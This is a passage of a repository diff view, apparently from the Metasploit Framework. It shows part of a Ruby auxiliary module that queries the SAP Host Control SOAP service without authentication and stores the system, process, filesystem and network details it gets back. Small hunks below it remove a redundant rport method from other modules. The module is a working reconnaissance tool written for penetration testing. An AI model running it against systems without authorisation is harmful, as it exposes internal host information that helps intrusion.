@fs_table << [
fs_info[0], # Filesystem Name
fs_info[2], # Size
fs_info[3], # Space Available
fs_info[6] # Is the filesystem remote ?
]
end
def parse_net_info(net_info)
@net_table << [
net_info[0], # Network Device ID
net_info[1], # Packets In
net_info[2], # Packets Out
net_info[3], # Errors In
net_info[4], # Errors Out
net_info[5] # Collisions
]
end
def run_host(rhost)
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
data = '<?xml version="1.0" encoding="utf-8"?>'
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
begin
res = send_request_raw(
{
'uri' => "/",
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'text/xml; charset=UTF-8',
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
return
end
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
return
elsif res and res.code != 200
vprint_error("#{rhost}:#{rport} - Error in response")
return
end
initialize_tables()
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
begin
response_xml = REXML::Document.new(res.body)
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
rescue
print_error("#{rhost}:#{rport} - Unable to parse XML response")
return
end
success = parse_computer_info(computer_info)
if success
print_good("#{rhost}:#{rport} - Information retrieved successfully")
else
print_error("#{rhost}:#{rport} - Unable to parse reply")
return
end
# assume that if we can parse the first part, it is a valid SAP XML response
parse_detailed_info(detailed_info)
sap_tables_clean = ''
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
sap_tables_clean << t.to_s
end
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)
xml_raw = store_loot(
"sap.getcomputersystem",
"text/xml",
rhost,
res.body,
"sap_getcomputersystem.xml",
"SAP GetComputerSystem XML"
)
xml_parsed = store_loot(
"sap.getcomputersystem",
"text/plain",
rhost,
sap_tables_clean,
"sap_getcomputersystem.txt",
"SAP GetComputerSystem XML"
)
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
end
end

View File

@ -35,10 +35,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),

View File

@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),

View File

@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),

View File

@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),

View File

@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),

Some files were not shown because too many files have changed in this diff Show More